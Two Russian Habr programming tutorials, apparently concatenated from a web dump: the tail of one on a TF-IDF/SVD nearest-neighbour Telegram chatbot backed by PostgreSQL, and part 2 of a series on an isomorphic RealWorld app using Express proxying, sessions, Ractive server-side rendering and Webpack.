transform=transform+1
# выведем на экран вопросы, ответы и коды ответов
print (questions)
print (answer)
print (answer_id)
# Закроем подключение к PostgreSQL
cursor.close()
conn.close()
```
Векторизация и трансформация
----------------------------
```
# Векторизируем вопросы в огромную матрицу
# Перемножив фразы на слова из которых они состоят получим числовые значения
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.decomposition import TruncatedSVD
vectorizer_q = TfidfVectorizer()
vectorizer_q.fit(questions)
matrix_big_q = vectorizer_q.transform(questions)
print ("Размер матрицы: ")
print (matrix_big_q.shape)
# Трансформируем матрицу вопросов в меньший размер для уменьшения объема данных
# Трансформировать будем в 200 мерное пространство, если вопросов больше 200
# Размерность подбирается индивидуально в зависимости от базы вопросов, которая может содержать 1 млн. или 1к вопросов и 1
# Без трансформации большая матрицу будет приводить к потерям памяти и снижению производительности
if transform>200:
transform=200
svd_q = TruncatedSVD(n_components=transform)
svd_q.fit(matrix_big_q)
# получим трансформированную матрицу
matrix_small_q = svd_q.transform(matrix_big_q)
print ("Коэффициент уменьшения матрицы: ")
print ( svd_q.explained_variance_ratio_.sum())
```
Функция поиска ответа
```
# Тело программы поиска ответов
from sklearn.neighbors import BallTree
from sklearn.base import BaseEstimator
def softmax(x):
#создание вероятностного распределения
proba = np.exp(-x)
return proba / sum(proba)
class NeighborSampler(BaseEstimator):
def __init__(self, k=5, temperature=10.0):
self.k=k
self.temperature = temperature
def fit(self, X, y):
self.tree_ = BallTree(X)
self.y_ = np.array(y)
def predict(self, X, random_state=None):
distances, indices = self.tree_.query(X, return_distance=True, k=self.k)
result = []
for distance, index in zip(distances, indices):
result.append(np.random.choice(index, p=softmax(distance * self.temperature)))
return self.y_[result]
from sklearn.pipeline import make_pipeline
ns_q = NeighborSampler()
# answer_id - код ответа в массиве, который получается при поиске ближайшего ответа
ns_q.fit(matrix_small_q, answer_id)
pipe_q = make_pipeline(vectorizer_q, svd_q, ns_q)
```
Проверка из консоли
```
# код для проверки работы из консоли
print("Пишите ваш вопрос, слова exit или выход для выхода")
request=""
while request not in ['exit', 'выход']:
# получим текст от ввода
request=input()
# разберем фразу на слова
words= re.split('\W',request)
phrase=""
for word in words:
word = morph.parse(word)[0].normal_form # морфируем слово вопроса в нормальную словоформу
# Нормализуем словоформу каждого слова и соберем обратно фразу
phrase = phrase + word + " "
# запустим функцию и получим код ответа
reply_id = int(pipe_q.predict([phrase.strip()]))
# выведем текст ответа
print (answer[reply_id])
```
Запустим и проверим
```
python3 Chat_bot.py
```
Подключим Telegram
------------------
Установим библиотеку
```
# установим не самую последнюю версию для валидности дальнейшего кода
#pip3 install PyTelegramBotAPI
pip3 install PyTelegramBotAPI==3.6.7
```
Откроем Telegram и обратимся к боту [@BOTFATHER](https://t.me/botfather) https://t.me/botfather
Все просто, зарегистрируем нового бота и получим token.
```
import telebot
telebot.apihelper.ENABLE_MIDDLEWARE = True
# Укажем token полученный при регистрации бота
bot = telebot.TeleBot("9999999999:AABBCCDDEEFFGGQWERTYUIOPASDFGHJKLLK")
# Начнем обработку. Если пользователь запустил бота, ответим
@bot.message_handler(commands=['start'])
def start_message(message):
bot.send_message(message.from_user.id, " Здравствуйте. Я виртуальный бот Mao!")
# Если пользователь что-то написал, ответим
@bot.message_handler(func=lambda message: True)
def get_text_messages(message):
request=message.text
# разобьём фразу на массив слов, используя split. '\W' - любой символ кроме буквы и цифры
words= re.split('\W',request)
phrase=""
# разберем фразу на слова, нормализуем каждое и соберем фразу
for word in words:
word = morph.parse(word)[0].normal_form
phrase = phrase + word + " "
# получим код ответа вызывая нашу функцию
reply_id = int(pipe_q.predict([phrase.strip()]))
# отправим ответ
bot.send_message(message.from_user.id, answer[reply_id])
# продублируем ответ пользователю с id=99999999
# bot.send_message(99999999, str(message.from_user.id) + "\n" + str(message.from_user.first_name) + " " + str(message.from_user.last_name) + " " +str(message.from_user.username) + "\n"+ str(request) + "\n"+ str(answer[reply_id]))
# выведем в консоль вопрос / ответа
print("Запрос:", request, " \n\tНормализованный: ", phrase, " \n\t\tОтвет :", answer[reply_id])
# Запустим обработку событий бота
bot.infinity_polling(none_stop=True, interval=1)
```
В целом все готово. Вопросы в базу данных добавляются автоматически от службы тех. поддержки. Остаётся маркетологу в админ панели на YII назначать ответы вопросам. Раз в сутки cron перезапускает скрипт чат-бота, новые фразы поступают в работу.
Весь код чат бота
-----------------
```
import csv
import pymorphy2
import re
import psycopg2
conn = psycopg2.connect(dbname='energy', user='mao', password='daring', host='localhost')
cursor = conn.cursor()
morph = pymorphy2.MorphAnalyzer(lang='ru')
answer_id=[]
answer = dict()
cursor.execute('SELECT id, answer FROM app.chats_answer;')
records = cursor.fetchall()
for row in records:
answer[row[0]]=row[1]
questions=[]
cursor.execute('SELECT question, answer_id FROM app.chats_question;')
records = cursor.fetchall()
transform=0
for row in records:
if row[0]>"":
if row[1]>0:
phrases=row[0]
words=phrases.split(' ')
phrase=""
for word in words:
word = morph.parse(word)[0].normal_form
phrase = phrase + word + " "
if (len(phrase)>0):
questions.append(phrase.strip())
answer_id.append(row[1])
transform=transform+1
#print (questions)
#print (answer)
#print (answer_id)
cursor.close()
conn.close()
import sklearn
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.decomposition import TruncatedSVD
vectorizer_q = TfidfVectorizer()
vectorizer_q.fit(questions)
matrix_big_q = vectorizer_q.transform(questions)
print ("Размер матрицы: ")
print (matrix_big_q.shape)
if transform>200:
transform=200
print(transform)
svd_q = TruncatedSVD(n_components=transform)
svd_q.fit(matrix_big_q)
matrix_small_q = svd_q.transform(matrix_big_q)
print ("Коэффициент уменьшения матрицы: ")
print ( svd_q.explained_variance_ratio_.sum())
# тело программы k=5, temperature=10.0 можно подбирать
import numpy as np
from sklearn.neighbors import BallTree
from sklearn.base import BaseEstimator
def softmax(x):
#создание вероятностного распределения
proba = np.exp(-x)
return proba / sum(proba)
class NeighborSampler(BaseEstimator):
def __init__(self, k=5, temperature=10.0):
self.k=k
self.temperature = temperature
def fit(self, X, y):
self.tree_ = BallTree(X)
self.y_ = np.array(y)
def predict(self, X, random_state=None):
distances, indices = self.tree_.query(X, return_distance=True, k=self.k)
result = []
for distance, index in zip(distances, indices):
result.append(np.random.choice(index, p=softmax(distance * self.temperature)))
return self.y_[result]
from sklearn.pipeline import make_pipeline
ns_q = NeighborSampler()
ns_q.fit(matrix_small_q, answer_id)
pipe_q = make_pipeline(vectorizer_q, svd_q, ns_q)
import re
import telebot
telebot.apihelper.ENABLE_MIDDLEWARE = True
bot = telebot.TeleBot("299999999:sdfgnreognrtgortgmrtgmrtgm")
@bot.message_handler(commands=['start'])
def start_message(message):
bot.send_message(message.from_user.id, " Здравствуйте. Я виртуальный помощник Mao?")
@bot.message_handler(func=lambda message: True)
def get_text_messages(message):
request=message.text
words= re.split('\W',request)
phrase=""
for word in words:
word = morph.parse(word)[0].normal_form
phrase = phrase + word + " "
reply_id = int(pipe_q.predict([phrase.strip()]))
bot.send_message(message.from_user.id, answer[reply_id])
print("Запрос:", request, " \n\tНормализованный: ", phrase, " \n\t\tОтвет :", answer[reply_id])
bot.infinity_polling(none_stop=True, interval=1)
print("Пишите ваш вопрос, слова exit или выход для выхода")
request=""
while request not in ['exit', 'выход']:
request=input()
words= re.split('\W',request)
phrase=""
for word in words:
word = morph.parse(word)[0].normal_form
phrase = phrase + word + " "
reply_id = int(pipe_q.predict([phrase.strip()]))
print (answer[reply_id])
```
В теле программы есть переменные k=5 и temperature=10.0. Их можно менять, что будет влиять на поиск, делая его более мягким или более жестким.
P.S. Умышленно привожу весь код для практики. Теорию машинного обучения с картинками можно почитать, например, [в другой статье.](https://habr.com/ru/post/462333/) | https://habr.com/ru/post/593065/ | null | ru | null |
# Разработка изоморфного RealWorld приложения с SSR и Progressive Enhancement. Часть 2 — Hello World
В [предыдущей части](https://habrahabr.ru/post/348964/) туториала мы узнали что такое проект **RealWorld**, определились целями туториала, выбрали стек технологий и написали простой веб-сервер на **Express** в качестве основы для изоморфного фронтенда.
В этой части, мы допилим серверную часть и напишем изоморфный «Hello World» на **Ractive**, а также соберем все это с помощью **Webpack**.
Заранее спасибо всем тем, кто продолжает читать данный туториал! Если вы действительно серьезно интересуетесь темой универсальных веб-приложений, то вам также стоит ознакомиться с серией статей на ту же тему [«Универсальные приложения React + Express»](https://habrahabr.ru/post/349136/). Особенно это будет интересно тем, кто любит писать много кода (я нет).
**Дисклеймер**Данный туториал предназначен прежде всего для frontend-разработчиков среднего и выше уровня. Которые знакомы с современными инструментами разработки и в курсе, что такое SPA и изоморфность.
В рамках туториала НЕ будут раскрываться вопросы установки npm-модулей, вводного знакомства с webpack, работы с командной строкой или иных базовых вещей на сегодняшний день. Исхожу из того, что для большинства читатетей рутинные операции по настройки дев-среды и работы с инструментами разработки и т.п. уже знакомы и отлажены.
Допиливаем сервер
-----------------
### Проксирование запросов
Итак, исходя из выбранной «high-level» архитектуры, описанной в первой части, необходимо организовать проксирование запросов на бекенд-сервер через фронтенд.
**Почему именно так**В комментариях к первой части туториала, был задан резонный вопрос — зачем проксировать запросы на бекенд? С точки зрения изоморфного подхода это, вобщем-то, не обязательно. Особенно если вы любите трудности и решение нестандартных задач, неочевидными способами.
Однако практика показывает, что именно этот способ является наиболее быстрым, удобным и безболезненным решением целого ряда вопросов и проблем изоморфности, о которых речь пойдет дальше.
Кроме того, проксирование открывает некоторые дополнительные возможности:
* Перехват клиентских атак, типа XSS/CSRF/etc.;
* Сокрытие бекенд сервера + нет необходимости включать CORS на бекенде;
* Возможности изоморфного кэширования данных и запросов;
* Более безопасная работа с сессиями/токенами/итп;
* Перехват запросов/ответов и внесение точечных изменений;
* Точечная адаптация API под нужны клиента;
* Изменение способов авторизации;
* Упрощенная реализация асинхронного «stateful» функционала поверх синхронных «stateless» бекендов;
* Работа поверх нескольких бекендов (или микросервисов);
И т.д. и т.п.
Для этого сначала изучим [спецификацию по REST API](https://github.com/gothinkster/realworld/tree/master/api) проекта **RealWorld**. Сам API располагается по адресу: **[conduit.productionready.io/api](https://conduit.productionready.io/api)**
Так как лишний код я писать не люблю, поэтому не буду изобретать велосипедов и воспользуюсь модулем [express-http-proxy](https://www.npmjs.com/package/express-http-proxy). Данный модуль умеет не только проксировать http-запросы, но и предоставляет ряд «хуков» для разных этапов данного процесса, которые, очевидно, нам еще пригодятся.
Сначала напишем простой json-конфиг для нашего API, где определим URL куда проксировать, а также несколько дополнительных настроек.
**./config/api.json**
```
{
"backendURL": "https://conduit.productionready.io",
"timeout": 3000,
"https": true
}
```
**«https»: true** означает, что даже если оригинальный запрос был осуществлен по http, проксировать его нужно на https. Удобно при работе с localhost.
Еще в первой части я подготовил специальный **«api middleware»** для проксирования запросов. Пора его написать:
**./middleware/api.js**
```
const proxy = require('express-http-proxy');
const config = require('../config/api.json');
module.exports = () => (req, res, next) => {
proxy(config.backendURL, {
https: config.https,
timeout: config.timeout
})(req, res, next);
};
```
Пожалуй пока этого достаточно. Уже сейчас все запросы на **/api/\*** фронтенда будут проксироваться на бекенд сервер. Иными словами, если запросить у фронтенд-сервера **GET /api/articles**, ответом придет JSON вида:
```
{
"articles":[...],
"articlesCount": 100
}
```
Так как мы планируем работать не только с GET-запросами, но и со всеми возможными REST-глаголами (POST/PUT/DELETE), а также выполнять запросы без JS на клиенте (т.е. по средствам html-форм), необходимо также внести парочку изменений в основной файл веб-сервера из первой части:
**./server.js**
```
const methodOverride = require('method-override');
```
```
server.use(express.json());
server.use(express.urlencoded({ extended: true }));
server.use(methodOverride('_method'));
```
Обратите внимание, что парсить тело запроса мы будем как в **json** (через ajax), так и **urlencoded** (сабмит формы). Модуль **method-override** будет перезаписывать метод http-запроса на тот, который указан в специальном URL Query параметре **\_method**. Это связано с тем, что html формы поддерживают только методы GET и POST. Работать это будет примерно так:
```
.....
```
Если на клиенте отключен JS и форма была засабмичена, то данный модуль автоматически для нас заменит оригинальный POST на PUT и прокси получит уже правилный REST-глагол для дальнейшего проксирования. Просто и не напрягаясь.
**Про перезапись http-метода**Интересный факт заключается в том, что некоторые «гуру» RESTful сервисов [советуют](https://www.slideshare.net/apigee/restful-api-design-second-edition/87) использовать подобный query-параметр при проектировании REST API на бекендах. Ну типа, мы же хотим подумать и о тех клиентах нашего API, которые поддерживают лишь ограниченный список HTTP методов.
Однако, по факту, это актуально лишь для браузерных html-форм. В этом случае, не очень разумно осуществлять поддержку столь узкого кейса на бекенде, который используется различными типами клиентов. Большая часть из которых не нуждается в данной фиче. В то же время, использование этой техники в рамках фронтенд-севера вполне себе обосновано, а главное не затрагивает интересы других типов клиентов. Вот так вот.
**Полный код server.js**
```
const express = require('express'),
helmet = require('helmet'),
compress = require('compression'),
cons = require('consolidate'),
methodOverride = require('method-override');
const app = require('./middleware/app'),
api = require('./middleware/api'),
req = require('./middleware/req'),
err = require('./middleware/err');
const config = require('./config/common');
const server = express();
server.engine('html', cons.mustache);
server.set('view engine', 'html');
server.use(helmet());
server.use(express.json());
server.use(express.urlencoded({ extended: true }));
server.use(methodOverride('_method'));
server.use(compress({ threshold: 0 }));
server.use(express.static('dist'));
server.use(req());
server.all('/api/*', api());
server.use(app());
server.use(err());
server.listen(config.port);
```
В итоге, мы имеем полноценный прокси запросов на бекенд, а также поддержку запросов из html-форм.
### Проблема начального состояния
Сразу хочу оговориться, здесь под «начальным состоянием» я подразумеваю не начальное состояние данных приложения, а набор входных параметров с которыми должно запускаться приложение. Для каждого конкретного проекта подобный набор параметров будет разным, либо может вообще отсутствовать. Базовый кейс — наличие или отсутствие авторизации.
Скорее всего начальное состояние было выставлено вашим пользователем во время предыдущего сеанса работы (например, выполнен вход в аккаунт) и после того как пользователь вернулся, он ожидает увидеть приложение именно с таким начальным состоянием (залогинен).
Стандартное SPA сперва загружается на страницу, запускаются скрипты и потом уже делаются запросы на получение данных. В этот момент скрипт может получить параметры начального состояния исходя из данных браузера или еще как-то, и уже потом делать запросы к API.
В отличии от SPA, изоморфное приложение не имеет никакого, условно говоря, «загрузчика». Изоморфное приложение в этой части больше похоже на обыкновенный веб-сайт. Иными словами, начальное состояние должно быть получено в момент первого синхронного запроса, чтобы отрендеренная на сервере страница полностью соответствовала состоянию, которое ожидает пользователь. Конечно бывают случаи, когда разработчики ленятся и тогда мы видим как сервер рендерит страницу с каким-то состоянием по-умолчанию, потом запускаются скрипты на клиенте и клиент опять делает всю работу. Это не есть правильный подход, а в манифесте этого проекта четко написано — никаких костылей (п.7)!
Решается этот вопрос, пожалуй, единственным доступным на данный момент способом — с помощью печенек (думаю многие сразу догадались увидев постер). Да, действительно, куки это фактически единственный официальный способ передачи начального состояния между несколькими синхронными запросами к серверу. Конечно если речь идет о браузере.
Ну а так как мы хорошо понимаем, что в плане хранилища куки, как бы не очень подходят (всего 4Кб), а главное пока не понимаем какие именно параметры начального состояния нам в итоге придется использовать, рука так и тянется к сессиям! Тем самым обыкновенным сессиям, когда в куку записывается некий session\_id (sid), а на сервере хранится целый ворох данных, связанных с этим идентификатором.
Думаю в общих чертах понятно зачем нам это нужно и опять же ничего тут придумывать я не буду. Возьму классический [express-session](https://www.npmjs.com/package/express-session), немного нашпигую его параметрами и мы получим вполне себе рабочий механизм без лишних трудностей.
В главный конфиг добавим объект «session» с настройками для модуля.
**./config/common.json**
```
{
"port": 8080,
"session": {
"name": "_sid",
"secret": "ntVA^CUnyb=6w3HAgUEh+!ur4gC-ubW%7^e=xf$_G#wVD53Cgp%7Gp$zrt!vp8SP",
"resave": false,
"rolling": false,
"saveUninitialized": false,
"cookie": {
"httpOnly": true,
"secure": false,
"sameSite": true
}
}
}
```
Несколько ключевых настроек для нашей печеньки — всегда следует выставлять **httpOnly** и **sameSite**. При переходе на SSL, можно будет активировать еще и **secure** (кука будет отправляться только при работе через https).
Добавляем этот модуль в файл веб-сервера:
**./server.js**
```
const session = require('express-session');
```
```
server.use(session(config.session));
```
**Полный код server.js**
```
const express = require('express'),
helmet = require('helmet'),
compress = require('compression'),
cons = require('consolidate'),
methodOverride = require('method-override'),
session = require('express-session');
const app = require('./middleware/app'),
api = require('./middleware/api'),
req = require('./middleware/req'),
err = require('./middleware/err');
const config = require('./config/common');
const server = express();
server.engine('html', cons.mustache);
server.set('view engine', 'html');
server.use(helmet());
server.use(session(config.session));
server.use(express.json());
server.use(express.urlencoded({ extended: true }));
server.use(methodOverride('_method'));
server.use(compress({ threshold: 0 }));
server.use(express.static('dist'));
server.use(req());
server.all('/api/*', api());
server.use(app());
server.use(err());
server.listen(config.port);
```
Теперь, кроме всего прочего, у нас имеется механизм сохранения и передачи начального состояния приложения между несколькими синхронными запросами. Так как эта задача целиком и полностью вытекает из особенностей работы с браузером, фронтенд-сервер это наилучшее место для таких вещей. Если бы мы делали такие вещи на бекенде, это могло бы затронуть другие типы клиентов (например мобильные), для которых нет нужды в подобных ухищрениях. В этом еще один из плюсов универсальных веб-приложений — мы получаем безопасное окружение (фронтенд-сервер), в котором можем выполнять фронтенд-зависимые задачи без ущерба для безопасности и без необходимости «засорят» бекенд подобными вещами. Это особенно актуально когда бекенд работает со множеством типов клиентов.
Hello world
-----------
Ну что ж, пока это выглядит довольно просто, но черт возьми, скажете вы, где же изоморфность? Все будет, но для начала, давайте разберемся с такой ее частью как **Server-side rendering (SSR)**.
Для начала напишем простой изоморфный «hello world», используя [RactiveJS](https://ractive.js.org/).
**./src/app.js**
```
const Ractive = require('ractive');
Ractive.DEBUG = (process.env.NODE_ENV === 'development');
Ractive.DEBUG_PROMISES = Ractive.DEBUG;
Ractive.defaults.enhance = true;
Ractive.defaults.lazy = true;
Ractive.defaults.sanitize = true;
const options = {
el: '#app',
template: `Static text! + {{message}} + {{fullName}}`,
data: {
message: 'Hello world',
firstName: 'Habr',
lastName: 'User'
},
computed: {
fullName() {
return this.get('firstName') + ' ' + this.get('lastName');
}
}
};
module.exports = () => new Ractive(options);
```
Этот файл является входной точкой нашего изоморфного приложения. Давайте рассмотрим его подробнее.
**RactiveJS** экспортирует одноименный конструктор с помощью которого можно создавать Ractive-инстансы, а также Ractive-компоненты (подробнее об этом в следующих частях). Многим подобный подход может напомнить [VueJS](https://vuejs.org/v2/guide/instance.html) и это неспроста. Фактически, **Ractive** является одним из прообразов для **Vue** и их api до сих пор очень похожи.
Но вернемся к коду и сперва разберемся какие именно [статические свойства](https://ractive.js.org/api/#static-properties) конструктора я выставил для данного приложения. Во-первых, это **Ractive.DEBUG** и **Ractive.DEBUG\_PROMISES** с помощью которых мы включаем или выключаем информационные сообщения об ошибках в зависимости от текущего окружения.
Далее идет флаг **Ractive.defaults.enhance**, активирующий один из ключевых аспектов изоморфности — переиспользование разметки полученный в результате **SSR** на клиентской стороне. Именно это сейчас чаще всего называют непонятным термином **hydrate**.
**Теория по hydrate**Если по-простому, то фишка в том, что после того, как приложение инициализируется на клиенте оно может «захотеть» перерендерить всю разметку взамен той разметки, которая пришла с сервера (SSR). Не то чтобы это супер плохо для изоморфности — поддержку SEO и многие другие плюшки мы все равно получаем. Однако в любом случае это крайне нерационально.
Поэтому важно не просто уметь делать **SSR** (это сейчас умеют многие). Хорошо еще когда ваш фреймворк умеет делать эту самую «гидрацию», т.е. может проанализировать текущую разметку и данные, чтобы понять, что результатом повторного рендера приложения или отдельных его компонентов будет та же самая разметка, а значит делать этого не нужно (либо нужно, но частично). Далее, просто «оживить» существующую разметку, т.е. «навесить» все необходимые ивент-лисенеры, хендлеры или чего там еще ему надо.
Все это с относительно недавнего времени умеют все представители «большой тройки». **Ractive** научился этому еще раньше, именно поэтому использует свой собственный термин **«enhance»**, вместо введенного реактом **«hydrate»**. Просто не было тогда еще такого термина)))
```
Ractive.defaults.enhance = true;
```
По-умолчанию, этот флаг выставлен в **false** и данная строка кода активирует сею возможность сразу для всех компонентов **Ractive**. Другими словами, одной строчкой кода можно сделать так, чтобы ваше приложение на **Ractive** стало переиспользовать разметку с сервера. В то же время, если какой-то отдельный компонент вдруг не требует «гидрации», ее можно отключить локально через его [опции](https://ractive.js.org/api/#enhance).
Напоследок еще два флага, которые я всегда выставляю:
* **Ractive.defaults.sanitize** позволяет на этапе парсинга шаблонов вырезать [небезопасные html-теги](https://ractive.js.org/api/#ractiveparse).
* **Ractive.defaults.lazy** говорит фреймверку использовать поздние DOM-события (change, blur), вместо немедленно исполняемых (keyup, keydown) для **two-way bindings** (да-да, двойное связывание рулит).
**По поводу two-way bindings**Всех «two-way bindings» хейтеров и «one-way data flow» ловеров попрошу воздержаться от холивара в комментариях. Это не вопрос религии. Если вы считаете, что лично для вас двойное-связывание данных представляет угрозу, то не используйте его и будете правы. Никогда не нужно зазря подвергать себя опасности.
В своих приложениях я, как правило, активно использую двойное связывание там где это необходимо и удобно, и пока не испытываю с этим каких-то серьезных проблем. Благо **Ractive** не сильно религиозный фреймверк и не заносит в разработчика какие-то свои собственные морально-этические принципы. Подход, который использует Ractive отлично описан на главной странице его сайта:
> Unlike other frameworks, **Ractive works for you**, not the other way around. It doesn't have an opinion about the other tools you want to use with it. It also adapts to the approach you want to take. You're not locked-in to a framework-specific way of thinking. Should you hate one of your tools for some reason, you can easily swap it out for another and move on with life.
>
>
Если вы ненавидите или боитесь двойного связывания, данная проблема решается в **Ractive** одной строкой:
```
Ractive.defaults.twoway = false;
```
После этого все ваши компоненты потеряют возможность двойного связывания, если конечно вы не захотите включить его для какого-то конкретного компонента (**twoway: true** в опциях) или же даже конкретного поля для ввода (деректива **twoway=«true»**). Как правило, это удобно.
**Интересный кейс с lazy**Не смог удержаться. Дело в том, что **lazy** может применяться не только глобально и локально для каждого компонента, но и точечно в качестве [директивы](https://ractive.js.org/api/#lazy) поля для ввода. Кроме того, **lazy** может принимать не только Boolean, но также число — кол-во миллисекунд для задержки.
С помощью этого замечательного свойства, можно, например, очень быстро и лаконично решить одну из часто встречающихся задач веб-разработки — строка поискового запроса:
```
```
[Рабочий пример](https://ractive.js.org/playground/#N4IgFiBcoE5SBTAJgcwSAvgGhAZ3gHYIDuABAEoCGAxgC4CWAbggBTAA6B7tCANpKQDkAIwD2SAJ6CsnbjwC2AB16UeAgAYAeegUUBXWqVoTFCALzs8CSjGphLpRpV57zl4MACOGDA5UAvCQsQAEYABgjLAHoAPnUZLlokVUoBDkTuTwFBQVlabDzRYVwEGGY0vMzSFideAEpSdO5m2lrSADJ20mdS2hZ1AGVrWzBST1cYCQEAEmBajHU6gG5K-LzfAgxlzCA)
В итоге, я формирую объект с опциями для инстанса приложения. Где сообщаю в какой существующий DOM-элемент рендерить приложение (**el**), определяю какой-то тестовый шаблон (**template**), пока в виде строки. Определяю объект с данными (**data**) и одно вычисляемое свойство (**fullName**).
Выглядит довольно тупо, потому что пока мы пишем лишь «Hello world» и цель его — протестировать **SSR** и «гидрацию» на клиенте. Позднее расскажу как мы это сможем проверить.
Теперь напишем серверное **«app middleware»**, в которое попадают все запросы не попавшие в прокси.
**./middleware/app.js**
```
const run = require('../src/app');
module.exports = () => (req, res, next) => {
const app = run();
const meta = { title: 'Hello world', description: '', keywords: '' },
content = app.toHTML(),
styles = app.toCSS();
app.teardown();
res.render('index', { meta, content, styles });
};
```
Тут прям вообще все просто. Если вы обратили внимание, главный файл приложения (./src/app.js) экспортирует функцию, которая возвращает новый Ractive-инстанс, т.е. по сути новый объект приложения. Это не слишком важно, когда код исполняется на клиенте — мы скорее всего не будем создавать более чем один инстанс приложения в пределах вкладки. Однако для исполнения кода на «stateful» nodejs-сервере крайне важно иметь возможность создавать новый объект приложения для каждого синхронного запроса. Думаю это очевидно.
Итак, в момент запроса мы создаем новый объект приложения. Создаем некий объект с мета-тегами (пока статически), а далее 2 строчки кода с тем самым пресловутым **SSR**:
* **app.toHTML()** — рендерит текущее состояние приложения в строку;
* **app.toCSS()** — собирает все «component specific» стили, уже разбитые по неймспейсам и также возвращает их строкой.
Вот так просто это работает в **Ractive**. И да, функционал [компонентных](https://ractive.js.org/api/#cssdata) [стилей](https://ractive.js.org/api/#css) уже имеется из коробки.
Далее, я уничтожаю текущий инстанс приложения вызовом метода **teardown()** и рендерю серверный шаблон **"./views/index.html"** с полученными значениями, одновременно отправляя ответ. Вот и весь великий и ужасный **SSR**.
### Серверные шаблоны
Теперь немного «усов». Итак, у нас есть папочка **"./views"**, где будут лежать серверные шаблоны и мы ожидаем в ней наличие того самого «single-page» **index.html** в который у нас будет рендерится наше замечательное изоморфное приложение. Однако писать **index.html** мы не будем.
Все потому, что итоговые клиентские бандлы, генерируемые **Webpack**, должны прописываться во время сборки с его же помощью. Поэтому придется создать *шаблон для шаблона*! ;-)
**./views/\_index.html**
```
{{ meta.title }}
{{& styles }}
{{& content }}
window.msgEl = document.getElementById('msg');
```
Тут тоже ничего особенного, просто полноценный HTML файл, с доктайпом, всякими мета-тегами, ссылками на файлы стилей и шрифты, которые предоставляет **RealWorld** и так далее. Здесь мы видим как будут шаблонизироваться мета-теги **title**, **description** и **keywords**. Также обратите внимание, что компонентные стили просто помещаются на страницу в style-тег. И конечно же, наше отрендеренное приложение помещается в элемент с соответствующим идентификатором. Именно в этом html-элементе приложение будет искать и «гидрировать» разметку на клиенте (тот самый тег **#app**, который обычно пустует при классическом SPA-подходе)
После сборки клиентского кода, **Webpack** пропишет в конец данного файла (непосредственно перед закрывающимся тегом **body**) все файлы бандлов в той последовательности подключения и с теми именами, которая предусмотрены проектом и его конфигом, а также сгенерирует итоговый **index.html**(об этом в следующем разделе). Вот так как-то.
### Webpack
Я обещал, что не буду использовать никаких специфичных инструментов для написания изоморфного приложения. Это же касается **Webpack** и его конфигов.
Поэтому я просто возьму существующий конфиг вебпака, который я использовал для предыдущего демо-проекта (подробнее в первой части) и буду использовать его в таком виде, как он есть. Более того, в тот демо-проект этот конфиг также попал из какого-то другого проекта и практически не дорабатывался. Там даже остались рудименты, которые по сути не нужны в этих проектах, но они не мешаются и мне лень их выпиливать. Работает и ладно.
В отличие от абсолютного большинства туториалов и стартер-китов на изоморфную тему, я не буду писать отдельные webpack-конфиги для клиента и сервера. Более того, я вообще не буду осуществлять сборку бандлов для сервера. Все файлы приложения на сервера будут работать без каких-либо манипуляций с ними.
**Почему так**Краткий ответ: для сервера сборка не имеет практического смысла.
Если более подробно: мне часто приходится работать с множеством всевозможных окружений и единственное из них, которое полностью находится под моим контролем — это фронтенд-сервер. Поэтому я привык писать свой код исходя из возможностей подконтрольного окружения и на сервере мне не требуются всевозможные транспайлеры, минификация кода и уж тем более сборка кода в бандлы. Однако, все это необходимо для неопределенного списка неподконтрольных окружений, поэтому клиентский код собирается вебпаком со всеми выкрутасами.
Как я уже говорил, обучение работе с **Webpack** выходит за рамки данного туториала. Моя задача показать, что писать универсальные веб-приложения можно без каких-либо специфических конфигов. И все же я обращу внимание на некоторые ключевые моменты.
Входная точка у нас **./src/app.js**
```
entry: {
app: [
path.resolve(__dirname, 'src/app'),
]
},
```
Бандлы генерятся в папку **./dist** и именуются по следующим правилам:
```
output: {
path: path.resolve(__dirname, 'dist'),
publicPath: '/',
filename: `[name]-${ VERSION }.bundle.[hash].js`,
chunkFilename: `[name]-${ VERSION }.bundle.[chunkhash].js`,
},
```
Весь код, кроме 3rd-party модулей пропускается через Babel:
```
{
test: /\.(js)$/,
exclude: /(node_modules|bower_components)/,
loader: 'babel-loader',
},
```
Самый неоднозначный кусок конфига:
```
new WrapperPlugin({
test: /\app(.*).js$/,
header: '(function(){"use strict";\nreturn\t',
footer: '\n})()();'
}),
```
Раньше я использовал **WrapperPlugin** чисто для того, чтобы применить strict-режим сразу для всего app-бандла. Однако для универсальных веб-приложений я также применяю его, чтобы экспортировать приложение в виде [IIFE](https://developer.mozilla.org/ru/docs/%D0%A1%D0%BB%D0%BE%D0%B2%D0%B0%D1%80%D1%8C/IIFE), т.е. сразу же запустить приложение, как только бандл скачался. К сожалению, **Webpack** не поддерживает IIFE в качестве **libraryTarget**. Пожалуй это единственный кусок конфига, который я дописал для изоморфного проекта. Хотя даже он не имеет к ней прямого отношения, ведь я мог бы вызвать функцию и вручную.
Далее, я выношу все 3rd-party модули в отдельный бандл:
```
new webpack.optimize.CommonsChunkPlugin({
name: 'vendor',
minChunks: ({ resource }) => (
resource !== undefined &&
resource.indexOf('node_modules') !== -1
)
}),
```
Как и обещал дописываю бандлы в конец моего *шаблона для шаблона* и генерирую **index.html**:
```
new HtmlWebpackPlugin({
template: './views/_index.html',
filename: '../views/index.html',
minify: {
html5: true
},
hash: true,
cache: true,
showErrors: false,
}),
```
Отчищаю output-директорию и копирую туда статические ассеты:
```
new CleanWebpackPlugin(['dist']),
new CopyWebpackPlugin([{
from: 'assets',
force: true
}]),
```
Остальные части конфига не представляют интереса в контексте проекта. Там всякие **UglifyJSPlugin**, **BundleAnalyzerPlugin** и другие полезные и не очень штуки.
### Еще немного сервера
Остались без реализации два файла, анонсированные в первой части туториала: **«req middleware»** и **«err middleware»**. Последний файл это обычный [Error-handling middleware](http://expressjs.com/en/guide/error-handling.html) экспресса. С его помощью мы будем отдавать специальную страницу (./views/error.html) с чисто серверными ошибками, либо json, если серверная ошибка возникла во время ajax-запроса. Пока он будет выглядеть как-то так:
```
module.exports = () => (err, req, res, next) => {
res.status(500);
(req.accepts(['html', 'json']) === 'json') ?
res.json({ errors: { [err.name]: [err.message] } }) :
res.render('error', { err });
};
```
Немного странный формат json-ответа обусловлен тем, что я сразу мимикрирую под [формат ошибок](https://github.com/gothinkster/realworld/tree/master/api#errors-and-status-codes), принятый в спецификации **RealWorld**. Для унификации так сказать.
Второе **«req middleware»** вообще пока оставим холостым, но уверен он еще пригодится.
```
module.exports = () => (req, res, next) => next();
```
### Тестируем SSR и hydrate
